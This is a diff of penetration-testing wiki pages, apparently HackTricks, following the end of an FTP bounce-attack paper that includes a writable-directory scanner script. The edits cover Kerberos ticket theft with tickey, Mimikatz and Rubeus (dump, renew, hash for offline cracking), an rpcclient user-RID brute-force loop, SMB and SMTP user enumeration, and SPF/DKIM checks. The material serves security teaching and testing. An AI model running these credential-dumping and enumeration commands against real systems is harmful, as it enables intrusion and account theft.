The first obvious thing to do is allow an FTP server to only make data connections to the same host that the control connection originated from. This does not prevent the above attack, of course, since the PASV listener could just as easily be on ufred.edu and thus meet that requirement, but it does prevent \*your\* site from being a potential bouncepoint. It also breaks the concept of "proxy FTP", but hidden somewhere in this paragraph is a very tiny violin.
|
||||
|
||||
The next obvious thing is to prohibit FTP control connections that come from reserved ports, or at least port 20. This prevents the above scenario as stated.
|
||||
|
||||
Both of these things, plus the usual poop about blocking source-routed packets and other avenues of spoofery, are necessary to prevent hacks of this sort. And think about whether or not you really need an open "incoming" directory.
|
||||
|
||||
Only allowing passive-mode client data connections is another possibility, but there are still too many FTP clients in use that aren't passive-aware.
|
||||
|
||||
## "A loose consensus and running code"
|
||||
|
||||
There is some existing work addressing this available here at avian.org \[and has been for several months, I might add\] in the "[fixkits archive](ftp://ftp.avian.org:/src/fixkits/)". Several mods to wu-ftpd-2.4 are presented, which includes code to prevent and log attempts to use bogus PORT commands. Recent security fixes from elsewhere are also included, along with s/key support and various compile-time options to beef up security for specific applications.
|
||||
|
||||
Stan Barber at academ.com is working on merging these and several other fixes into a true updated wu-ftpd release. There are a couple of other divergent efforts going on. Nowhere is it claimed that any of this work is complete yet, but it is a start toward something I have had in mind for a while -- a network-wide release of wu-ftpd-2.5, with contributions from around the net. The wu-ftpd server has become very popular, but is in sad need of yet another security upgrade. It would be nice to pull all the improvements together into one coordinated place, and it looks like it will happen. All of this still won't help people who insist on running vendor-supplied servers, of course.
|
||||
|
||||
Sanity-checking the client connection's source port is not implemented specifically in the FTP server fixes, but in modifications to Wietse's tcp-wrappers package since this problem is more general. A simple PORT option is added that denies connections from configurable ranges of source ports at the tcpd stage, before a called daemon is executed.
|
||||
|
||||
Some of this is pointed to by [/src/fixkits/README](ftp://ftp.avian.org:/src/fixkits/README) in the anonymous FTP area here. Read this roadmap before grabbing other things.
|
||||
|
||||
## Notes
|
||||
|
||||
Adding the nulls at the end of the command file was the key to making this work against a variety of daemons. Simply sending the desired data would usually fail due to the immediate close signaling the daemon to bail out.
|
||||
|
||||
If WUSTL has not given up entirely on the whole wu-ftpd project, they are keeping very quiet about further work. Bryan O'Connor appears to have many other projects to attend to by now...
|
||||
|
||||
This is a trivial script to find world-writeable and ftp-owned directories and files on a unix-based anonymous FTP server. You'd be surprised how many of those writeable "bouncepoints" pop out after a short run of something like this. You will have to later check that you can both PUT and GET files from such places; some servers protect uploaded files against reading. Many do not, and then wonder why they are among this week's top ten warez sites...
|
||||
|
||||
```text
|
||||
#!/bin/sh
|
||||
ftp -n $1 << FOE
|
||||
quote "user ftp"
|
||||
quote "pass -nobody@"
|
||||
prompt
|
||||
cd /
|
||||
dir "-aR" xxx.$$
|
||||
bye
|
||||
FOE
|
||||
# Not smart enough to figure out ftp's numeric UID if no passwd file!
|
||||
cat -v xxx.$$ | awk '
|
||||
BEGIN { idir = "/" ; dirp = 0 }
|
||||
/.:$/ { idir = $0 ; dirp = 1 ; }
|
||||
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
|
||||
if (dirp == 1) print idir
|
||||
dirp = 0
|
||||
print $0
|
||||
} '
|
||||
rm xxx.$$
|
||||
```
|
||||
|
||||
I suppose one could call this a white paper. It is up for grabs at avian.org in [/random/ftp-attack](ftp://ftp.avian.org:/random/ftp-attack) as well as being posted in various relevant places. \_H\* 950712
|
||||
|
||||
For a more detailed information check the post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -15,31 +15,20 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
On Linux, **tickets are stored in credential caches or ccaches**. There are 3 main types, which indicate where **tickets can be found:**
|
||||
### Credential Storage in Linux
|
||||
Linux systems store credentials in three types of caches, namely **Files** (in `/tmp` directory), **Kernel Keyrings** (a special segment in the Linux kernel), and **Process Memory** (for single-process use). The **default\_ccache\_name** variable in `/etc/krb5.conf` reveals the storage type in use, defaulting to `FILE:/tmp/krb5cc_%{uid}` if not specified.
|
||||
|
||||
* **Files**, by default under **/tmp** directory, in the form of **krb5cc\_%{uid}.**
|
||||
* **Kernel Keyrings**, an special space in the Linux kernel provided for storing keys.
|
||||
* **Process memory,** used when only one process needs to use the tickets.
|
||||
### Extracting Credentials
|
||||
The 2017 paper, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel's keyring mechanism for managing and storing keys.
|
||||
|
||||
To verify what type of storage is used in a specific machine, the variable _**default\_ccache\_name**_** ** must be checked in the **/etc/krb5.conf** file, which by default has read permission to any user. In case of this parameter being missing, its default value is _FILE:/tmp/krb5cc\_%{uid}_.
|
||||
#### Keyring Extraction Overview
|
||||
The **keyctl system call**, introduced in kernel version 2.6.10, allows user space applications to interact with kernel keyrings. Credentials in keyrings are stored as components (default principal and credentials), distinct from file ccaches which also include a header. The **hercules.sh script** from the paper demonstrates extracting and reconstructing these components into a usable file ccache for credential theft.
|
||||
|
||||
In order to extract **tickets from the other 2 sources** (keyrings and processes), a great paper, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), released in 2017, explains ways of recovering the tickets from them.
|
||||
#### Ticket Extraction Tool: Tickey
|
||||
Building on the principles of the **hercules.sh script**, the [**tickey**](https://github.com/TarlogicSecurity/tickey) tool is specifically designed for extracting tickets from keyrings, executed via `/tmp/tickey -i`.
|
||||
|
||||
### Keyring - From the paper
|
||||
|
||||
> The **Linux kernel** has a feature called **keyrings**. This is an **area of memory residing** within the kernel that is used to **manage and retain keys**.
|
||||
>
|
||||
> The **keyctl system call** was introduced in kernel version 2.6.10 5 . This provides **user space applications an API** which can be used to interact with kernel keyrings.
|
||||
|
||||
> The **name of the keyring** in use can be parsed from the **Kerberos configuration file /etc/krb5.conf** which has read permission enable for anybody (octal 644) by default. An attacker can then leverage this information to **search for ticket** 11 containing keyrings and extract the tickets. A proof of concept script that implements this functionality can be seen in Section A.2 **(hercules.sh)**. In a keyring the ccache is stored as components. As seen in Figure 2, a file ccache is made up of 3 distinct components: header, default principal, and a sequence of credentials. A **keyring holds the default principal and credentials**. This script will dump these components to separate files. Then using an **attacker synthesised header** these pieces are combined in the correct order to **rebuild a file ccache**. This rebuilt file can then be exfiltrated to an attacker machine and then used to impersonate a Kerberos user. A simple program for generating a valid ccache header can be seen in Section A.3.
|
||||
|
||||
Based on the **heracles.sh script** (from the paper) a C tool you can use (created by the author of the complete post) is [**tickey**](https://github.com/TarlogicSecurity/tickey)**, and it extracts tickets from keyrings:**
|
||||
|
||||
```
|
||||
/tmp/tickey -i
|
||||
```
|
||||
|
||||
**This information was taken from:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
# References
|
||||
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -14,24 +14,42 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
In Windows, tickets are **handled and stored by the lsass** (Local Security Authority Subsystem Service) process, which is responsible for security. Hence, to retrieve tickets from a Windows system, it is necessary to **communicate with lsass and ask for them**. As a **non-administrative user only owned tickets can be fetched**, however, as machine **administrator**, **all** of them can be harvested. For this purpose, the tools **Mimikatz or Rubeus** can be used as shown below:
|
||||
Tickets in Windows are managed and stored by the **lsass** (Local Security Authority Subsystem Service) process, responsible for handling security policies. To extract these tickets, it's necessary to interface with the lsass process. A non-administrative user can only access their own tickets, while an administrator has the privilege to extract all tickets on the system. For such operations, the tools **Mimikatz** and **Rubeus** are widely employed, each offering different commands and functionalities.
|
||||
|
||||
### Mimikatz
|
||||
Mimikatz is a versatile tool that can interact with Windows security. It's used not only for extracting tickets but also for various other security-related operations.
|
||||
|
||||
```bash
|
||||
# Using mimikatz
|
||||
# Extracting tickets using Mimikatz
|
||||
sekurlsa::tickets /export
|
||||
# Using Rubeus
|
||||
## Dump all tickets
|
||||
```
|
||||
|
||||
### Rubeus
|
||||
Rubeus is a tool specifically tailored for Kerberos interaction and manipulation. It's used for ticket extraction and handling, as well as other Kerberos-related activities.
|
||||
|
||||
```bash
|
||||
# Dumping all tickets using Rubeus
|
||||
.\Rubeus dump
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
## List all tickets
|
||||
# Listing all tickets
|
||||
.\Rubeus.exe triage
|
||||
## Dump the interesting one by luid
|
||||
|
||||
# Dumping a specific ticket by LUID
|
||||
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
# Renewing a ticket
|
||||
.\Rubeus.exe renew /ticket:<BASE64_TICKET>
|
||||
|
||||
# Converting a ticket to hashcat format for offline cracking
|
||||
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
|
||||
```
|
||||
|
||||
**This information was taken from:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)****
|
||||
When using these commands, ensure to replace placeholders like `<BASE64_TICKET>` and `<luid>` with the actual Base64 encoded ticket and Logon ID respectively. These tools provide extensive functionality for managing tickets and interacting with the security mechanisms of Windows.
|
||||
|
||||
# References
|
||||
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -57,7 +57,7 @@ run
|
|||
|
||||
### Execute arbitrary commands
|
||||
|
||||
There is another way to **make the debugger execute arbitrary commands via a python custom script taken from** [**here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.**
|
||||
There is another way to **make the debugger execute arbitrary commands via a [python custom script taken from here](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.
|
||||
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
|
|
|
@ -16,7 +16,7 @@ Other ways to support HackTricks:
|
|||
|
||||
## **Port 139**
|
||||
|
||||
**NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over **TCP Port 139**. (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
The **_Network Basic Input Output System_ (NetBIOS)** is a software protocol designed to enable applications, PCs, and Desktops within a local area network (LAN) to interact with network hardware and **facilitate the transmission of data across the network**. The identification and location of software applications operating on a NetBIOS network are achieved through their NetBIOS names, which can be up to 16 characters in length and are often distinct from the computer name. A NetBIOS session between two applications is initiated when one application (acting as the client) issues a command to "call" another application (acting as the server) utilizing **TCP Port 139**.
|
||||
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
|
@ -24,9 +24,9 @@ Other ways to support HackTricks:
|
|||
|
||||
## Port 445
|
||||
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. **SMB** stands for ‘**Server Message Blocks**’. Server Message Block in modern language is also known as **Common Internet File System**. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
Technically, Port 139 is referred to as ‘NBT over IP’, whereas Port 445 is identified as ‘SMB over IP’. The acronym **SMB** stands for ‘**Server Message Blocks**’, which is also modernly known as the **Common Internet File System (CIFS)**. As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network.
|
||||
|
||||
For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP\*\*.\*\* (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP.
|
||||
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
|
@ -34,22 +34,28 @@ For instance, on Windows, SMB can run directly over TCP/IP without the need for
|
|||
|
||||
### SMB
|
||||
|
||||
Server Message Block (`SMB`) is a **client-server** protocol that regulates **access to files** and entire directories and other network resources such as printers, routers, or interfaces released for the network. The main application area of the protocol has been the **Windows** operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that devices with newer editions can easily communicate with devices that have an older Microsoft operating system installed.\
|
||||
With the free software project **Samba**, there is also a solution that enables the use of **SMB in Linux** and Unix distributions and thus cross-platform communication via SMB.
|
||||
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
|
||||
|
||||
An SMB server can provide **arbitrary parts of its local file system as shares**. Therefore the **hierarchy visible** to a client is partially **independent** of the **structure** on the **server**. **Access rights** are defined by `Access Control Lists` (`ACL`). They can be controlled in a **fine-grained manner** based on attributes such as **`execute`**, **`read`**, and **`full access`** for individual users or user groups. The **ACLs** are defined **based on the shares** and therefore do not correspond to the rights assigned locally on the server.
|
||||
Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
|
||||
|
||||
### IPC$ share
|
||||
### IPC$ Share
|
||||
|
||||
From book _**Network Security Assessment 3rd edition**_
|
||||
Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
|
||||
|
||||
With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:
|
||||
- Information on the operating system
|
||||
- Details on the parent domain
|
||||
- A compilation of local users and groups
|
||||
- Information on available SMB shares
|
||||
- The effective system security policy
|
||||
|
||||
This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
|
||||
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
|
||||
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.
|
||||
|
||||
* Operating system information
|
||||
* Details of the parent domain
|
||||
* A list of local users and groups
|
||||
* Details of available SMB shares
|
||||
* The effective system security policy
|
||||
|
||||
## What is NTLM
|
||||
|
||||
|
|
|
@ -33,58 +33,56 @@ Definition from [**here**](https://academy.hackthebox.com/module/143/section/126
|
|||
|
||||
### **Enumeration with rpcclient**
|
||||
|
||||
**Pat of this section was extracted from book "**_**Network Security Assesment 3rd Edition**_**"**
|
||||
The **`rpcclient`** utility from Samba is utilized for interacting with **RPC endpoints through named pipes**. Below commands that can be issued to the SAMR, LSARPC, and LSARPC-DS interfaces after a **SMB session is established**, often necessitating credentials.
|
||||
|
||||
You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints via named pipes**. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon **establishing** a **SMB session** (often requiring credentials).
|
||||
#### Server Information
|
||||
|
||||
#### Server Info
|
||||
* To obtain **Server Information**: `srvinfo` command is used.
|
||||
|
||||
* **Server Info**: `srvinfo`
|
||||
#### Enumeration of Users
|
||||
|
||||
#### Users enumeration
|
||||
|
||||
* **List users**: `querydispinfo` and `enumdomusers`
|
||||
* **Get user details**: `queryuser <0xrid>`
|
||||
* **Get user groups**: `queryusergroups <0xrid>`
|
||||
* **GET SID of a user**: `lookupnames <username>`
|
||||
* **Get users aliases**: `queryuseraliases [builtin|domain] <sid>`
|
||||
* **Users can be listed** using: `querydispinfo` and `enumdomusers`.
|
||||
* **Details of a user** by: `queryuser <0xrid>`.
|
||||
* **Groups of a user** with: `queryusergroups <0xrid>`.
|
||||
* **A user's SID is retrieved** through: `lookupnames <username>`.
|
||||
* **Aliases of users** by: `queryuseraliases [builtin|domain] <sid>`.
|
||||
|
||||
```bash
|
||||
# Brute-Force users RIDs
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
done
|
||||
|
||||
# You can also use samrdump.py for this purpose
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
|
||||
#### Groups enumeration
|
||||
#### Enumeration of Groups
|
||||
|
||||
* **List groups**: `enumdomgroups`
|
||||
* **Get group details**: `querygroup <0xrid>`
|
||||
* **Get group members**: `querygroupmem <0xrid>`
|
||||
* **Groups** by: `enumdomgroups`.
|
||||
* **Details of a group** with: `querygroup <0xrid>`.
|
||||
* **Members of a group** through: `querygroupmem <0xrid>`.
|
||||
|
||||
#### Aliasgroups enumeration
|
||||
#### Enumeration of Alias Groups
|
||||
|
||||
* **List alias**: `enumalsgroups <builtin|domain>`
|
||||
* **Get members**: `queryaliasmem builtin|domain <0xrid>`
|
||||
* **Alias groups** by: `enumalsgroups <builtin|domain>`.
|
||||
* **Members of an alias group** with: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Domains enumeration
|
||||
#### Enumeration of Domains
|
||||
|
||||
* **List domains**: `enumdomains`
|
||||
* **Get SID**: `lsaquery`
|
||||
* **Domain info**: `querydominfo`
|
||||
* **Domains** using: `enumdomains`.
|
||||
* **A domain's SID is retrieved** through: `lsaquery`.
|
||||
* **Domain information is obtained** by: `querydominfo`.
|
||||
|
||||
#### Shares enumeration
|
||||
#### Enumeration of Shares
|
||||
|
||||
* **Enumerate all available shares**: `netshareenumall`
|
||||
* **Info about a share**: `netsharegetinfo <share>`
|
||||
* **All available shares** by: `netshareenumall`.
|
||||
* **Information about a specific share is fetched** with: `netsharegetinfo <share>`.
|
||||
|
||||
#### More SIDs
|
||||
#### Additional Operations with SIDs
|
||||
|
||||
* **Find SIDs by name**: `lookupnames <username>`
|
||||
* **Find more SIDs**: `lsaenumsid`
|
||||
* **RID cycling (check more SIDs)**: `lookupsids <sid>`
|
||||
* **SIDs by name** using: `lookupnames <username>`.
|
||||
* **More SIDs** through: `lsaenumsid`.
|
||||
* **RID cycling to check more SIDs** is performed by: `lookupsids <sid>`.
|
||||
|
||||
#### **Extra commands**
|
||||
|
||||
|
|
|
@ -36,7 +36,7 @@ PORT STATE SERVICE REASON VERSION
|
|||
|
||||
### EMAIL Headers
|
||||
|
||||
If you have the opportunity to **make the victim send you a emai**l (via contact form of the web page for example), do it because **you could learn about the internal topology** of the victim seeing the headers of the mail.
|
||||
If you have the opportunity to **make the victim send you a email** (via contact form of the web page for example), do it because **you could learn about the internal topology** of the victim seeing the headers of the mail.
|
||||
|
||||
You can also get an email from a SMTP server trying to **send to that server an email to a non-existent address** (because the server will send to the attacker a NDN mail). But, be sure that you send the email from an allowed address (check the SPF policy) and that you can receive NDN messages.
|
||||
|
||||
|
@ -127,15 +127,15 @@ Check if you sniff some password from the packets to port 25
|
|||
### RCPT TO
|
||||
|
||||
```bash
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
MAIL FROM:test@test.org
|
||||
250 2.1.0 test@test.org... Sender ok
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
MAIL FROM:example@domain.com
|
||||
250 2.1.0 example@domain.com... Sender ok
|
||||
RCPT TO:test
|
||||
550 5.1.1 test... User unknown
|
||||
RCPT TO:admin
|
||||
|
@ -146,28 +146,28 @@ RCPT TO:ed
|
|||
|
||||
### VRFY
|
||||
|
||||
```
|
||||
$ telnet 10.0.0.1 25
|
||||
Trying 10.0.0.1...
|
||||
Connected to 10.0.0.1.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
501 HELO requires domain address
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
VRFY root
|
||||
250 Super-User <root@myhost>
|
||||
250 Super-User root@myhost
|
||||
VRFY blah
|
||||
550 blah... User unknown
|
||||
```
|
||||
|
||||
### EXPN
|
||||
|
||||
```
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
|
@ -176,13 +176,11 @@ HELO x
|
|||
EXPN test
|
||||
550 5.1.1 test... User unknown
|
||||
EXPN root
|
||||
250 2.1.5 <ed.williams@myhost>
|
||||
250 2.1.5 ed.williams@myhost
|
||||
EXPN sshd
|
||||
250 2.1.5 sshd privsep <sshd@mail2>
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
|
||||
Extracted from: [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
|
||||
### Automatic tools
|
||||
|
||||
```
|
||||
|
@ -270,13 +268,11 @@ server.quit()
|
|||
print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
```
|
||||
|
||||
## Mail Spoofing
|
||||
## Mail Spoofing Countermeasures
|
||||
|
||||
Most of this section was extracted from the book **Network Security Assessment 3rd Edition**.
|
||||
Organizations are prevented from having unauthorized email sent on their behalf by employing **SPF**, **DKIM**, and **DMARC** due to the ease of spoofing SMTP messages.
|
||||
|
||||
SMTP messages are easily spoofed, and so organizations use **SPF**, **DKIM**, and **DMARC** features to prevent parties from sending unauthorised email.
|
||||
|
||||
A **complete guide of these countermeasures** can be found in [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
A **complete guide to these countermeasures** is made available at [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
|
||||
### SPF
|
||||
|
||||
|
@ -285,9 +281,7 @@ SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-c
|
|||
Moreover, to reuse previous spf records it's quiet common to find something like `"v=spf1 include:_spf.google.com ~all"`
|
||||
{% endhint %}
|
||||
|
||||
**Sender Policy Framework** (SPF) provides a mechanism that allows MTAs to check if a host sending an email is authorized.\
|
||||
Then, the organisations can define a list of authorised mail servers and the MTAs can query for this lists to check if the email was spoofed or not.\
|
||||
In order to define IP addresses/ranges, domains and others that are **allowed to send email on behalf a domain name**, different "**Mechanism**" cam appear in the SPF registry.
|
||||
**Sender Policy Framework** (SPF) is a mechanism that enables Mail Transfer Agents (MTAs) to verify whether a host sending an email is authorized by querying a list of authorized mail servers defined by the organizations. This list, which specifies IP addresses/ranges, domains, and other entities **authorized to send email on behalf of a domain name**, includes various "**Mechanisms**" in the SPF record.
|
||||
|
||||
#### Mechanisms
|
||||
|
||||
|
@ -308,31 +302,31 @@ You usually will note **at the end of each SPF policy** something like: **\~all*
|
|||
|
||||
#### Qualifiers
|
||||
|
||||
Each mechanism can be combined with one of four qualifiers:
|
||||
Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:
|
||||
|
||||
* **`+`** for a PASS result. This can be omitted; e.g., `+mx` is the same as `mx`.
|
||||
* **`?`** for a NEUTRAL result interpreted like NONE (no policy).
|
||||
* **`~`** (tilde) for SOFTFAIL, a debugging aid between NEUTRAL and FAIL. Typically, messages that return a SOFTFAIL are accepted but tagged.
|
||||
* **`-`** (minus) for FAIL, the mail should be rejected (see below).
|
||||
* **`+`**: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making `+mx` equivalent to `mx`.
|
||||
* **`?`**: Represents a NEUTRAL result, treated similarly to NONE (no specific policy).
|
||||
* **`~`**: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly.
|
||||
* **`-`**: Indicates FAIL, suggesting that the email should be outright rejected.
|
||||
|
||||
In the following example you can read the **SPF policy of google.com**. Note how the **first SPF policy includes SPF policies of other domains:**
|
||||
In the upcoming example, the **SPF policy of google.com** is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy:
|
||||
|
||||
```shell-session
|
||||
kali@kali:~$ dig txt google.com | grep spf
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _spf.google.com | grep spf
|
||||
dig txt _spf.google.com | grep spf
|
||||
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
|
||||
;_spf.google.com. IN TXT
|
||||
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks.google.com | grep spf
|
||||
dig txt _netblocks.google.com | grep spf
|
||||
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
|
||||
dig txt _netblocks2.google.com | grep spf
|
||||
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
|
||||
|
@ -340,41 +334,40 @@ Traditionally it was possible to spoof any domain name that didn't have a correc
|
|||
|
||||
To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DomainKeys Identified Mail (DKIM) is a mechanism by which **outbound email is signed and validated by foreign MTAs upon retrieving a domain’s public key via DNS**. The DKIM public key is held within a TXT record for a domain; however, you must know both the selector and domain name to retrieve it.
|
||||
DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name.
|
||||
|
||||
Then, to ask for the key you need the domain name and the selector of the mail from the mail header `DKIM-Signature` for example: `d=gmail.com;s=20120113`
|
||||
For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`.
|
||||
|
||||
A command to fetch this information might look like:
|
||||
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
|
||||
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
# This command would return something like:
|
||||
